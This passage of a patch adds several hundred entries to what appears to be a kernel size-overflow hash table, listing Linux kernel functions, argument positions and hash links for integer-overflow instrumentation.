++_002954_hash variax_set_raw2 4 32374 _002954_hash NULL
++_002955_hash copy_in_user 3 57502 _002955_hash NULL
++_002956_hash __earlyonly_bootmem_alloc 2 23824 _002956_hash NULL
++_002957_hash rfc4106_set_key 3 54519 _002957_hash NULL
++_002958_hash sparse_early_usemaps_alloc_pgdat_section 2 62304 _002958_hash NULL
++_002959_hash sparse_early_usemaps_alloc_node 4 9269 _002959_hash NULL
++_002960_hash sparse_mem_maps_populate_node 4 12669 _002960_hash &_002242_hash
++_002961_hash vmemmap_alloc_block 1 43245 _002961_hash NULL
++_002962_hash sparse_early_mem_maps_alloc_node 4 36971 _002962_hash NULL
++_002963_hash vmemmap_alloc_block_buf 1 61126 _002963_hash NULL
++_002964_hash alloc_mr 1 45935 _002964_hash NULL
++_002965_hash atomic_counters_read 3 48827 _002965_hash NULL
++_002966_hash atomic_stats_read 3 36228 _002966_hash NULL
++_002967_hash capabilities_read 3 58457 _002967_hash NULL
++_002968_hash compat_core_sys_select 1 65285 _002968_hash NULL
++_002969_hash compat_dccp_setsockopt 5 51263 _002969_hash NULL
++_002970_hash compat_do_arpt_set_ctl 4 12184 _002970_hash NULL
++_002971_hash compat_do_ip6t_set_ctl 4 3184 _002971_hash NULL
++_002972_hash compat_do_ipt_set_ctl 4 58466 _002972_hash &_002078_hash
++_002973_hash compat_filldir 3 32999 _002973_hash NULL
++_002974_hash compat_filldir64 3 35354 _002974_hash NULL
++_002975_hash compat_fillonedir 3 15620 _002975_hash NULL
++_002976_hash compat_ip_setsockopt 5 13870 _003094_hash NULL nohasharray
++_002977_hash compat_ipv6_setsockopt 5 20468 _002977_hash NULL
++_002978_hash compat_mpctl_ioctl 2 45671 _002978_hash NULL
++_002979_hash compat_raw_setsockopt 5 30634 _002979_hash NULL
++_002980_hash compat_rawv6_setsockopt 5 4967 _002980_hash NULL
++_002981_hash compat_rw_copy_check_uvector 3 22001 _003263_hash NULL nohasharray
++_002982_hash compat_sock_setsockopt 5 23 _002982_hash NULL
++_002983_hash compat_sys_get_mempolicy 3 31109 _002983_hash NULL
++_002984_hash compat_sys_kexec_load 2 35674 _002984_hash NULL
++_002985_hash compat_sys_keyctl 4 9639 _002985_hash NULL
++_002986_hash compat_sys_mbind 5 36256 _002986_hash NULL
++_002987_hash compat_sys_migrate_pages 2 3157 _002987_hash NULL
++_002988_hash compat_sys_move_pages 2 5861 _002988_hash NULL
++_002989_hash compat_sys_mq_timedsend 3 31060 _002989_hash NULL
++_002990_hash compat_sys_msgrcv 2 7482 _002990_hash NULL
++_002991_hash compat_sys_msgsnd 2 10738 _002991_hash NULL
++_002992_hash compat_sys_semtimedop 3 3606 _002992_hash NULL
++_002993_hash compat_sys_set_mempolicy 3 57742 _002993_hash &_002614_hash
++_002994_hash __copy_in_user 3 34790 _002994_hash NULL
++_002995_hash dev_counters_read 3 19216 _002995_hash NULL
++_002996_hash dev_names_read 3 38509 _002996_hash NULL
++_002997_hash driver_names_read 3 60399 _002997_hash NULL
++_002998_hash driver_stats_read 3 8944 _002998_hash NULL
++_002999_hash evdev_ioctl_compat 2 13851 _002999_hash NULL
++_003000_hash evtchn_read 3 3569 _003000_hash NULL
++_003001_hash evtchn_write 3 43278 _003001_hash NULL
++_003002_hash fat_compat_ioctl_filldir 3 36328 _003002_hash NULL
++_003003_hash flash_read 3 57843 _003003_hash NULL
++_003004_hash flash_write 3 62354 _003004_hash NULL
++_003005_hash fw_device_op_compat_ioctl 2 42804 _003005_hash NULL
++_003006_hash gather_array 3 56641 _003006_hash NULL
++_003007_hash ghash_async_setkey 3 60001 _003007_hash NULL
++_003008_hash gntdev_alloc_map 2 35145 _003008_hash NULL
++_003009_hash gnttab_map 2 56439 _003009_hash NULL
++_003010_hash gru_alloc_gts 2-3 60056 _003010_hash &_000981_hash
++_003012_hash hiddev_compat_ioctl 2 41255 _003012_hash NULL
++_003013_hash init_cdev 1 8274 _003013_hash NULL
++_003014_hash init_per_cpu 1 17880 _003014_hash NULL
++_003015_hash ipath_create_cq 2 45586 _003015_hash NULL
++_003016_hash ipath_get_base_info 3 7043 _003016_hash NULL
++_003017_hash ipath_init_qp_table 2 25167 _003017_hash NULL
++_003018_hash ipath_resize_cq 2 712 _003018_hash NULL
++_003019_hash joydev_compat_ioctl 2 8765 _003019_hash NULL
++_003020_hash mon_bin_compat_ioctl 3 50234 _003020_hash NULL
++_003021_hash options_write 3 47243 _003021_hash NULL
++_003022_hash portcntrs_1_read 3 47253 _003022_hash NULL
++_003023_hash portcntrs_2_read 3 56586 _003023_hash NULL
++_003024_hash portnames_read 3 41958 _003024_hash NULL
++_003025_hash ptc_proc_write 3 12076 _003025_hash NULL
++_003026_hash put_cmsg_compat 4 35937 _003026_hash NULL
++_003027_hash qib_alloc_devdata 2 51819 _003027_hash NULL
++_003028_hash qib_alloc_fast_reg_page_list 2 10507 _003028_hash NULL
++_003029_hash qib_cdev_init 1 34778 _003029_hash NULL
++_003030_hash qib_create_cq 2 27497 _003030_hash NULL
++_003031_hash qib_diag_write 3 62133 _003031_hash NULL
++_003032_hash qib_get_base_info 3 11369 _003032_hash NULL
++_003033_hash qib_resize_cq 2 53090 _003033_hash NULL
++_003034_hash qsfp_1_read 3 21915 _003034_hash NULL
++_003035_hash qsfp_2_read 3 31491 _003035_hash NULL
++_003036_hash queue_reply 3 22416 _003036_hash NULL
++_003037_hash spidev_compat_ioctl 2 63778 _003037_hash NULL
++_003038_hash split 2 11691 _003038_hash NULL
++_003039_hash stats_read_ul 3 32751 _003039_hash NULL
++_003040_hash sys32_ipc 3 7238 _003040_hash NULL
++_003041_hash sys32_rt_sigpending 2 25814 _003041_hash NULL
++_003042_hash tunables_read 3 36385 _003042_hash NULL
++_003043_hash tunables_write 3 59563 _003043_hash NULL
++_003044_hash xenbus_file_write 3 6282 _003044_hash NULL
++_003045_hash xlbd_reserve_minors 1-2 18365 _003045_hash NULL
++_003047_hash xpc_kmalloc_cacheline_aligned 1 42895 _003047_hash NULL
++_003048_hash xpc_kzalloc_cacheline_aligned 1 65433 _003048_hash NULL
++_003049_hash xsd_read 3 15653 _003049_hash NULL
++_003050_hash compat_do_readv_writev 4 49102 _003050_hash NULL
++_003051_hash compat_keyctl_instantiate_key_iov 3 57431 _003088_hash NULL nohasharray
++_003052_hash compat_process_vm_rw 3-5 22254 _003052_hash NULL
++_003054_hash compat_sys_select 1 16131 _003054_hash NULL
++_003055_hash compat_sys_setsockopt 5 3326 _003055_hash NULL
++_003056_hash compat_udp_setsockopt 5 38840 _003056_hash NULL
++_003057_hash compat_udpv6_setsockopt 5 42981 _003057_hash NULL
++_003058_hash do_compat_pselect 1 10398 _003058_hash NULL
++_003059_hash gnttab_expand 1 15817 _003059_hash NULL
++_003060_hash ipath_cdev_init 1 37752 _003060_hash NULL
++_003061_hash ipath_reg_phys_mr 3 23918 _003061_hash &_000999_hash
++_003062_hash qib_alloc_fast_reg_mr 2 12526 _003062_hash NULL
++_003063_hash qib_reg_phys_mr 3 60202 _003063_hash &_000897_hash
++_003064_hash compat_readv 3 30273 _003064_hash NULL
++_003065_hash compat_sys_process_vm_readv 3-5 15374 _003065_hash NULL
++_003067_hash compat_sys_process_vm_writev 3-5 41194 _003067_hash NULL
++_003069_hash compat_sys_pselect6 1 14105 _003069_hash NULL
++_003070_hash compat_writev 3 60063 _003070_hash NULL
++_003071_hash get_free_entries 1 46030 _003071_hash NULL
++_003072_hash compat_sys_preadv64 3 24283 _003072_hash NULL
++_003073_hash compat_sys_pwritev64 3 51151 _003073_hash NULL
++_003074_hash compat_sys_readv 3 20911 _003074_hash NULL
++_003075_hash compat_sys_writev 3 5784 _003075_hash NULL
++_003076_hash gnttab_alloc_grant_references 1 18240 _003076_hash NULL
++_003077_hash compat_sys_preadv 3 583 _003077_hash NULL
++_003078_hash compat_sys_pwritev 3 17886 _003078_hash NULL
++_003079_hash aes_decrypt_fail_read 3 54815 _003079_hash NULL
++_003080_hash aes_decrypt_interrupt_read 3 19910 _003080_hash NULL
++_003081_hash aes_decrypt_packets_read 3 10155 _003081_hash NULL
++_003082_hash aes_encrypt_fail_read 3 32562 _003082_hash NULL
++_003083_hash aes_encrypt_interrupt_read 3 39919 _003083_hash NULL
++_003084_hash aes_encrypt_packets_read 3 48666 _003084_hash NULL
++_003085_hash agp_remap 2 30665 _003085_hash NULL
++_003086_hash alloc_apertures 1 56561 _003086_hash NULL
++_003087_hash allocate_probes 1 40204 _003087_hash NULL
++_003088_hash alloc_ftrace_hash 1 57431 _003088_hash &_003051_hash
++_003089_hash alloc_page_cgroup 1 2919 _003089_hash NULL
++_003090_hash __alloc_preds 2 9492 _003090_hash NULL
++_003091_hash __alloc_pred_stack 2 26687 _003091_hash NULL
++_003092_hash alloc_sched_domains 1 47756 _003092_hash NULL
++_003093_hash alloc_trace_probe 6 38720 _003093_hash NULL
++_003094_hash alloc_trace_uprobe 3 13870 _003094_hash &_002976_hash
++_003095_hash ath6kl_sdio_alloc_prep_scat_req 2 51986 _003095_hash NULL
++_003096_hash ath6kl_usb_post_recv_transfers 2 32892 _003096_hash NULL
++_003097_hash ath6kl_usb_submit_ctrl_in 6 32880 _003097_hash &_000795_hash
++_003098_hash ath6kl_usb_submit_ctrl_out 6 9978 _003098_hash NULL
++_003099_hash av7110_ipack_init 2 46655 _003099_hash NULL
++_003100_hash av7110_vbi_write 3 34384 _003100_hash NULL
++_003101_hash bin_uuid 3 28999 _003101_hash NULL
++_003102_hash blk_dropped_read 3 4168 _003102_hash NULL
++_003103_hash blk_msg_write 3 13655 _003103_hash NULL
++_003104_hash brcmf_usbdev_qinit 2 19090 _003104_hash &_001715_hash
++_003105_hash brcmf_usb_dl_cmd 4 53130 _003105_hash NULL
++_003106_hash ci_ll_init 3 12930 _003106_hash NULL
++_003107_hash ci_ll_write 4 3740 _003107_hash NULL
++_003108_hash conf_read 3 55786 _003108_hash NULL
++_003109_hash __copy_from_user_inatomic_nocache 3 49921 _003109_hash NULL
++_003110_hash cx24116_writeregN 4 41975 _003110_hash NULL
++_003111_hash cyttsp_probe 4 1940 _003111_hash NULL
++_003112_hash dccpprobe_read 3 52549 _003112_hash NULL
++_003113_hash ddb_input_read 3 9743 _003113_hash NULL
++_003114_hash ddb_output_write 3 31902 _003114_hash NULL
++_003115_hash __devres_alloc 2 25598 _003115_hash NULL
++_003116_hash dma_rx_errors_read 3 52045 _003116_hash NULL
++_003117_hash dma_rx_requested_read 3 65354 _003117_hash NULL
++_003118_hash dma_tx_errors_read 3 46060 _003118_hash NULL
++_003119_hash dma_tx_requested_read 3 16110 _003203_hash NULL nohasharray
++_003120_hash do_dmabuf_dirty_sou 7 3017 _003120_hash NULL
++_003121_hash do_surface_dirty_sou 7 39678 _003121_hash NULL
++_003122_hash driver_state_read 3 17194 _003122_hash &_001511_hash
++_003123_hash drm_agp_bind_pages 3 56748 _003123_hash NULL
++_003124_hash drm_buffer_alloc 2 44405 _003124_hash NULL
++_003125_hash drm_calloc_large 1-2 65421 _003125_hash NULL
++_003127_hash drm_fb_helper_init 3-4 19044 _003127_hash NULL
++_003129_hash drm_ht_create 2 18853 _003129_hash NULL
++_003130_hash drm_ioctl 2 42813 _003130_hash NULL
++_003131_hash drm_malloc_ab 1-2 16831 _003131_hash NULL
++_003133_hash drm_mode_crtc_set_gamma_size 2 31881 _003133_hash NULL
++_003134_hash drm_plane_init 6 28731 _003134_hash NULL
++_003135_hash drm_property_create 4 51239 _003135_hash NULL
++_003136_hash drm_property_create_blob 2 7414 _003136_hash NULL
++_003137_hash drm_vblank_init 2 11362 _003137_hash NULL
++_003138_hash drm_vmalloc_dma 1 14550 _003138_hash NULL
++_003139_hash dvb_aplay 3 56296 _003139_hash NULL
++_003140_hash dvb_ca_en50221_init 4 45718 _003140_hash NULL
++_003141_hash dvb_ca_en50221_io_write 3 43533 _003141_hash NULL
++_003142_hash dvb_dmxdev_set_buffer_size 2 55643 _003142_hash NULL
++_003143_hash dvbdmx_write 3 19423 _003143_hash NULL
++_003144_hash dvb_dvr_set_buffer_size 2 9840 _003144_hash NULL
++_003145_hash dvb_net_sec 3 37884 _003145_hash NULL
++_003146_hash dvb_play 3 50814 _003146_hash NULL
++_003147_hash dvb_ringbuffer_pkt_read_user 2-5-3 4303 _003147_hash NULL
++_003150_hash dvb_ringbuffer_read_user 3 56702 _003150_hash NULL
++_003151_hash dvb_usercopy 2 14036 _003151_hash NULL
++_003152_hash dw210x_op_rw 6 39915 _003152_hash NULL
++_003153_hash edt_ft5x06_debugfs_raw_data_read 3 28002 _003153_hash NULL
++_003154_hash em_canid_change 3 14150 _003154_hash NULL
++_003155_hash event_calibration_read 3 21083 _003155_hash NULL
++_003156_hash event_enable_read 3 7074 _003156_hash NULL
++_003157_hash event_filter_read 3 23494 _003157_hash NULL
++_003158_hash event_filter_write 3 56609 _003158_hash NULL
++_003159_hash event_heart_beat_read 3 48961 _003159_hash NULL
++_003160_hash event_id_read 3 64288 _003160_hash &_001300_hash
++_003161_hash event_oom_late_read 3 61175 _003161_hash &_001054_hash
++_003162_hash event_phy_transmit_error_read 3 10471 _003162_hash NULL
++_003163_hash event_rx_mem_empty_read 3 40363 _003163_hash NULL
++_003164_hash event_rx_mismatch_read 3 38518 _003164_hash NULL
++_003165_hash event_rx_pool_read 3 25792 _003165_hash NULL
++_003166_hash event_tx_stuck_read 3 19305 _003166_hash NULL
++_003167_hash excessive_retries_read 3 60425 _003167_hash NULL
++_003168_hash flexcop_device_kmalloc 1 54793 _003168_hash NULL
++_003169_hash fm_send_cmd 5 39639 _003169_hash NULL
++_003170_hash __fprog_create 2 41263 _003170_hash NULL
++_003171_hash fq_codel_zalloc 1 15378 _003171_hash NULL
++_003172_hash ftrace_pid_write 3 39710 _003172_hash NULL
++_003173_hash ftrace_profile_read 3 21327 _003173_hash NULL
++_003174_hash fw_stats_raw_read 3 1369 _003174_hash NULL
++_003175_hash get_info 3 55681 _003175_hash NULL
++_003176_hash __get_vm_area_node 1 55305 _003176_hash NULL
++_003177_hash gpio_power_read 3 36059 _003177_hash NULL
++_003178_hash h5_prepare_pkt 4 12085 _003178_hash NULL
++_003179_hash hsc_msg_alloc 1 60990 _003179_hash NULL
++_003180_hash hsc_write 3 55875 _003180_hash NULL
++_003181_hash hsi_alloc_controller 1 41802 _003181_hash NULL
++_003182_hash hsi_register_board_info 2 13820 _003182_hash NULL
++_003183_hash hugetlb_cgroup_read 5 49259 _003183_hash NULL
++_003184_hash i915_cache_sharing_read 3 24775 _003184_hash NULL
++_003185_hash i915_cache_sharing_write 3 57961 _003185_hash NULL
++_003186_hash i915_max_freq_read 3 20581 _003186_hash NULL
++_003187_hash i915_max_freq_write 3 11350 _003187_hash NULL
++_003188_hash i915_min_freq_read 3 38470 _003188_hash NULL
++_003189_hash i915_min_freq_write 3 10981 _003189_hash NULL
++_003190_hash i915_ring_stop_read 3 42549 _003190_hash &_000740_hash
++_003191_hash i915_ring_stop_write 3 59010 _003191_hash NULL
++_003192_hash i915_wedged_read 3 35474 _003192_hash NULL
++_003193_hash i915_wedged_write 3 47771 _003193_hash NULL
++_003194_hash ieee802154_alloc_device 1 13767 _003194_hash NULL
++_003195_hash intel_sdvo_write_cmd 4 54377 _003195_hash &_000832_hash
++_003196_hash isr_cmd_cmplt_read 3 53439 _003196_hash NULL
++_003197_hash isr_commands_read 3 41398 _003197_hash NULL
++_003198_hash isr_decrypt_done_read 3 49490 _003198_hash NULL
++_003199_hash isr_dma0_done_read 3 8574 _003199_hash NULL
++_003200_hash isr_dma1_done_read 3 48159 _003200_hash NULL
++_003201_hash isr_fiqs_read 3 34687 _003201_hash NULL
++_003202_hash isr_host_acknowledges_read 3 54136 _003202_hash NULL
++_003203_hash isr_hw_pm_mode_changes_read 3 16110 _003203_hash &_003119_hash
++_003204_hash isr_irqs_read 3 9181 _003204_hash NULL
++_003205_hash isr_low_rssi_read 3 64789 _003205_hash NULL
++_003206_hash isr_pci_pm_read 3 30271 _003206_hash NULL
++_003207_hash isr_rx_headers_read 3 38325 _003207_hash NULL
++_003208_hash isr_rx_mem_overflow_read 3 43025 _003208_hash NULL
++_003209_hash isr_rx_procs_read 3 31804 _003209_hash NULL
++_003210_hash isr_rx_rdys_read 3 35283 _003210_hash NULL
++_003211_hash isr_tx_exch_complete_read 3 16103 _003211_hash NULL
++_003212_hash isr_tx_procs_read 3 23084 _003212_hash NULL
++_003213_hash isr_wakeups_read 3 49607 _003213_hash NULL
++_003214_hash LoadBitmap 2 19658 _003214_hash NULL
++_003215_hash mem_cgroup_read 5 22461 _003215_hash NULL
++_003216_hash mic_calc_failure_read 3 59700 _003216_hash NULL
++_003217_hash mic_rx_pkts_read 3 27972 _003217_hash NULL
++_003218_hash __module_alloc 1 50004 _003218_hash NULL
++_003219_hash module_alloc_update_bounds_rw 1 63233 _003219_hash NULL
++_003220_hash module_alloc_update_bounds_rx 1 58634 _003220_hash NULL
++_003221_hash mwifiex_usb_submit_rx_urb 2 54558 _003221_hash NULL
++_003222_hash nfc_hci_hcp_message_tx 6 14534 _003222_hash NULL
++_003223_hash nfc_hci_set_param 5 40697 _003223_hash NULL
++_003224_hash nfc_shdlc_alloc_skb 2 12741 _003224_hash NULL
++_003225_hash opera1_xilinx_rw 5 31453 _003225_hash NULL
++_003226_hash persistent_ram_vmap 1-2 709 _003226_hash NULL
++_003228_hash prctl_set_mm 3 64538 _003228_hash NULL
++_003229_hash probe_kernel_write 3 17481 _003229_hash NULL
++_003230_hash proc_fault_inject_read 3 36802 _003230_hash NULL
++_003231_hash proc_fault_inject_write 3 21058 _003231_hash NULL
++_003232_hash ps_pspoll_max_apturn_read 3 6699 _003232_hash NULL
++_003233_hash ps_pspoll_timeouts_read 3 11776 _003233_hash NULL
++_003234_hash ps_pspoll_utilization_read 3 5361 _003234_hash NULL
++_003235_hash ps_upsd_max_apturn_read 3 19918 _003235_hash NULL
++_003236_hash ps_upsd_max_sptime_read 3 63362 _003236_hash NULL
++_003237_hash ps_upsd_timeouts_read 3 28924 _003237_hash NULL
++_003238_hash ps_upsd_utilization_read 3 51669 _003238_hash NULL
++_003239_hash ptp_filter_init 2 36780 _003239_hash NULL
++_003240_hash pwr_disable_ps_read 3 13176 _003240_hash NULL
++_003241_hash pwr_elp_enter_read 3 5324 _003241_hash NULL
++_003242_hash pwr_enable_ps_read 3 17686 _003242_hash NULL
++_003243_hash pwr_fix_tsf_ps_read 3 26627 _003243_hash NULL
++_003244_hash pwr_missing_bcns_read 3 25824 _003244_hash NULL
++_003245_hash pwr_power_save_off_read 3 18355 _003245_hash NULL
++_003246_hash pwr_ps_enter_read 3 26935 _003246_hash &_000512_hash
++_003247_hash pwr_rcvd_awake_beacons_read 3 50505 _003247_hash NULL
++_003248_hash pwr_rcvd_beacons_read 3 52836 _003248_hash NULL
++_003249_hash pwr_tx_without_ps_read 3 48423 _003249_hash NULL
++_003250_hash pwr_tx_with_ps_read 3 60851 _003250_hash NULL
++_003251_hash pwr_wake_on_host_read 3 26321 _003251_hash NULL
++_003252_hash pwr_wake_on_timer_exp_read 3 22640 _003252_hash NULL
++_003253_hash rb_simple_read 3 45972 _003253_hash NULL
++_003254_hash read_file_dfs 3 43145 _003254_hash NULL
++_003255_hash retry_count_read 3 52129 _003255_hash NULL
++_003256_hash rx_dropped_read 3 44799 _003256_hash NULL
++_003257_hash rx_fcs_err_read 3 62844 _003257_hash NULL
++_003258_hash rx_hdr_overflow_read 3 64407 _003258_hash NULL
++_003259_hash rx_hw_stuck_read 3 57179 _003259_hash NULL
++_003260_hash rx_out_of_mem_read 3 10157 _003260_hash NULL
++_003261_hash rx_path_reset_read 3 23801 _003261_hash NULL
++_003262_hash rxpipe_beacon_buffer_thres_host_int_trig_rx_data_read 3 55106 _003262_hash NULL
++_003263_hash rxpipe_descr_host_int_trig_rx_data_read 3 22001 _003263_hash &_002981_hash
++_003264_hash rxpipe_missed_beacon_host_int_trig_rx_data_read 3 63405 _003264_hash NULL
++_003265_hash rxpipe_rx_prep_beacon_drop_read 3 2403 _003265_hash NULL
++_003266_hash rxpipe_tx_xfr_host_int_trig_rx_data_read 3 35538 _003266_hash NULL
++_003267_hash rx_reset_counter_read 3 58001 _003267_hash NULL
++_003268_hash rx_xfr_hint_trig_read 3 40283 _003268_hash NULL
++_003269_hash saa7146_vmalloc_build_pgtable 2 19780 _003269_hash NULL
++_003270_hash sched_feat_write 3 55202 _003270_hash NULL
++_003271_hash sd_alloc_ctl_entry 1 29708 _003271_hash NULL
++_003272_hash shmem_pread_fast 3 34147 _003272_hash NULL
++_003273_hash shmem_pread_slow 3 3198 _003273_hash NULL
++_003274_hash shmem_pwrite_slow 3 31741 _003274_hash NULL
++_003275_hash show_header 3 4722 _003275_hash &_000745_hash
++_003276_hash stack_max_size_read 3 1445 _003276_hash NULL
++_003277_hash subsystem_filter_read 3 62310 _003277_hash NULL
++_003278_hash subsystem_filter_write 3 13022 _003278_hash NULL
++_003279_hash swap_cgroup_swapon 2 13614 _003279_hash NULL
++_003280_hash system_enable_read 3 25815 _003280_hash NULL
++_003281_hash tda10048_writeregbulk 4 11050 _003281_hash NULL
++_003282_hash tlbflush_read_file 3 64661 _003282_hash NULL
++_003283_hash trace_options_core_read 3 47390 _003283_hash NULL
++_003284_hash trace_options_read 3 11419 _003284_hash NULL
++_003285_hash trace_parser_get_init 2 31379 _003285_hash NULL
++_003286_hash traceprobe_probes_write 3 64969 _003286_hash NULL
++_003287_hash trace_seq_to_user 3 65398 _003287_hash NULL
++_003288_hash tracing_buffers_read 3 11124 _003288_hash NULL
++_003289_hash tracing_clock_write 3 27961 _003289_hash NULL
++_003290_hash tracing_cpumask_read 3 7010 _003290_hash NULL
++_003291_hash tracing_ctrl_read 3 46922 _003291_hash NULL
++_003292_hash tracing_entries_read 3 8345 _003292_hash NULL
++_003293_hash tracing_max_lat_read 3 8890 _003293_hash NULL
++_003294_hash tracing_read_dyn_info 3 45468 _003294_hash NULL
++_003295_hash tracing_readme_read 3 16493 _003295_hash NULL
++_003296_hash tracing_saved_cmdlines_read 3 21434 _003296_hash NULL
++_003297_hash tracing_set_trace_read 3 44122 _003297_hash NULL
++_003298_hash tracing_set_trace_write 3 57096 _003298_hash NULL
++_003299_hash tracing_stats_read 3 34537 _003299_hash NULL
++_003300_hash tracing_total_entries_read 3 62817 _003300_hash NULL
++_003301_hash tracing_trace_options_write 3 153 _003301_hash NULL
++_003302_hash tstats_write 3 60432 _003302_hash &_000009_hash
++_003303_hash ttm_bo_fbdev_io 4 9805 _003303_hash NULL
++_003304_hash ttm_bo_io 5 47000 _003304_hash NULL
++_003305_hash ttm_dma_page_pool_free 2 34135 _003305_hash NULL
++_003306_hash ttm_page_pool_free 2 61661 _003306_hash NULL
++_003307_hash ttusb2_msg 4 3100 _003307_hash NULL
++_003308_hash tx_internal_desc_overflow_read 3 47300 _003308_hash NULL
++_003309_hash tx_queue_len_read 3 1463 _003309_hash NULL
++_003310_hash tx_queue_status_read 3 44978 _003310_hash NULL
++_003311_hash u_memcpya 2-3 30139 _003311_hash NULL
++_003313_hash usb_allocate_stream_buffers 3 8964 _003313_hash NULL
++_003314_hash vifs_state_read 3 33762 _003314_hash NULL
++_003315_hash vmalloc_to_sg 2 58354 _003315_hash NULL
++_003316_hash vm_map_ram 2 23078 _003316_hash &_001095_hash
++_003317_hash vmw_execbuf_process 5 22885 _003317_hash NULL
++_003318_hash vmw_fifo_reserve 2 12141 _003318_hash NULL
++_003319_hash vmw_kms_present 9 38130 _003319_hash NULL
++_003320_hash vmw_kms_readback 6 5727 _003320_hash NULL
++_003321_hash wep_addr_key_count_read 3 20174 _003321_hash NULL
++_003322_hash wep_decrypt_fail_read 3 58567 _003322_hash NULL
++_003323_hash wep_default_key_count_read 3 43035 _003323_hash NULL
++_003324_hash wep_interrupt_read 3 41492 _003324_hash NULL
++_003325_hash wep_key_not_found_read 3 13377 _003325_hash &_000952_hash
++_003326_hash wep_packets_read 3 18751 _003326_hash NULL
++_003327_hash wl1251_cmd_template_set 4 6172 _003327_hash NULL
++_003328_hash wl1271_format_buffer 2 20834 _003328_hash NULL
++_003329_hash wl1271_rx_filter_alloc_field 5 46721 _003329_hash NULL
++_003330_hash wl12xx_cmd_build_probe_req 6-8 54946 _003330_hash NULL
++_003332_hash wlcore_alloc_hw 1 7785 _003332_hash NULL
++_003333_hash aggr_size_rx_size_read 3 33526 _003333_hash NULL
++_003334_hash aggr_size_tx_agg_vs_rate_read 3 21438 _003334_hash NULL
++_003335_hash alloc_and_copy_ftrace_hash 1 29368 _003335_hash NULL
++_003336_hash alloc_bulk_urbs_generic 5 12127 _003336_hash NULL
++_003337_hash alloc_ieee80211 1 20063 _003337_hash NULL
++_003338_hash alloc_ieee80211_rsl 1 34564 _003338_hash NULL
++_003339_hash alloc_perm_bits 2 1532 _003339_hash NULL
++_003340_hash alloc_private 2 22399 _003340_hash NULL
++_003341_hash alloc_rtllib 1 51136 _003341_hash NULL
++_003342_hash alloc_rx_desc_ring 2 18016 _003342_hash NULL
++_003343_hash arcfb_write 3 8702 _003343_hash NULL
++_003344_hash ath6kl_usb_bmi_read 3 48745 _003344_hash NULL
++_003345_hash ath6kl_usb_bmi_write 3 2454 _003345_hash &_001020_hash
++_003346_hash ath6kl_usb_ctrl_msg_exchange 4 33327 _003346_hash NULL
++_003347_hash au0828_init_isoc 2-3 61917 _003347_hash NULL
++_003349_hash auok190xfb_write 3 37001 _003349_hash NULL
++_003350_hash beacon_interval_read 3 7091 _003350_hash NULL
++_003351_hash brcmf_usb_attach 1-2 44656 _003351_hash NULL
++_003353_hash broadsheetfb_write 3 39976 _003353_hash NULL
++_003354_hash broadsheet_spiflash_rewrite_sector 2 54864 _003354_hash NULL
++_003355_hash ci13xxx_add_device 3 14456 _003355_hash NULL
++_003356_hash cmpk_message_handle_tx 4 54024 _003356_hash NULL
++_003357_hash comedi_alloc_subdevices 2 29207 _003357_hash NULL
++_003358_hash comedi_buf_alloc 3 24822 _003358_hash NULL
++_003359_hash comedi_read 3 13199 _003359_hash NULL
++_003360_hash comedi_write 3 47926 _003360_hash NULL
++_003361_hash create_trace_probe 1 20175 _003361_hash NULL
++_003362_hash create_trace_uprobe 1 13184 _003362_hash NULL
++_003363_hash cx18_copy_buf_to_user 4 22735 _003363_hash NULL
++_003364_hash cx231xx_init_bulk 2-3 47024 _003364_hash NULL
++_003366_hash cx231xx_init_isoc 2-3 56453 _003366_hash NULL
++_003368_hash cx231xx_init_vbi_isoc 2-3 28053 _003368_hash NULL
++_003370_hash da9052_group_write 3 4534 _003370_hash NULL
++_003371_hash debug_debug1_read 3 8856 _003371_hash NULL
++_003372_hash debug_debug2_read 3 30526 _003372_hash NULL
++_003373_hash debug_debug3_read 3 56894 _003373_hash NULL
++_003374_hash debug_debug4_read 3 61367 _003374_hash NULL
++_003375_hash debug_debug5_read 3 2291 _003375_hash NULL
++_003376_hash debug_debug6_read 3 33168 _003376_hash NULL
++_003377_hash dev_read 3 56369 _003377_hash NULL
++_003378_hash do_dmabuf_dirty_ldu 6 52241 _003378_hash NULL
++_003379_hash drm_compat_ioctl 2 51717 _003379_hash NULL
++_003380_hash drm_mode_create_tv_properties 2 23122 _003380_hash NULL
++_003381_hash drm_property_create_bitmask 5 30195 _003381_hash NULL
++_003382_hash drm_property_create_enum 5 29201 _003382_hash NULL
++_003383_hash dsp_buffer_alloc 2 11684 _003383_hash NULL
++_003384_hash dt3155_alloc_coherent 2 58073 _003384_hash NULL
++_003385_hash dtim_interval_read 3 654 _003385_hash NULL
++_003386_hash dvb_audio_write 3 51275 _003386_hash NULL
++_003387_hash dvb_ca_en50221_io_ioctl 2 26490 _003387_hash NULL
++_003388_hash dvb_ca_write 3 41171 _003388_hash NULL
++_003389_hash dvb_demux_ioctl 2 42733 _003389_hash NULL
++_003390_hash dvb_dmxdev_buffer_read 4 20682 _003390_hash NULL
++_003391_hash dvb_dvr_ioctl 2 49182 _003391_hash NULL
++_003392_hash dvb_generic_ioctl 2 21810 _003392_hash NULL
++_003393_hash dvb_net_ioctl 2 61559 _003393_hash NULL
++_003394_hash dvb_net_sec_callback 2 28786 _003394_hash NULL
++_003396_hash dvb_video_write 3 754 _003396_hash NULL
++_003397_hash dynamic_ps_timeout_read 3 10110 _003397_hash NULL
++_003398_hash easycap_alsa_vmalloc 2 14426 _003398_hash NULL
++_003399_hash em28xx_alloc_isoc 4 46892 _003399_hash NULL
++_003400_hash error_error_bar_retry_read 3 64305 _003400_hash NULL
++_003401_hash error_error_frame_cts_nul_flid_read 3 17262 _003401_hash NULL
++_003402_hash error_error_frame_read 3 39947 _003402_hash &_002436_hash
++_003403_hash error_error_null_Frame_tx_start_read 3 55024 _003403_hash NULL
++_003404_hash error_error_numll_frame_cts_start_read 3 47781 _003404_hash NULL
++_003405_hash ext_sd_execute_read_data 9 48589 _003405_hash NULL
++_003406_hash ext_sd_execute_write_data 9 8175 _003406_hash NULL
++_003407_hash fast_user_write 5 20494 _003407_hash NULL
++_003408_hash f_audio_buffer_alloc 1 41110 _003408_hash NULL
++_003409_hash fb_alloc_cmap_gfp 2 20792 _003409_hash NULL
++_003410_hash fbcon_do_set_font 2-3 4079 _003410_hash NULL
++_003412_hash fb_read 3 33506 _003412_hash NULL
++_003413_hash fb_sys_read 3 13778 _003413_hash NULL
++_003414_hash fb_sys_write 3 33130 _003414_hash NULL
++_003415_hash fb_write 3 46924 _003415_hash NULL
++_003416_hash firmwareUpload 3 32794 _003416_hash NULL
++_003417_hash fmc_send_cmd 5 20435 _003417_hash NULL
++_003418_hash fops_read 3 40672 _003418_hash NULL
++_003419_hash forced_ps_read 3 31685 _003419_hash NULL
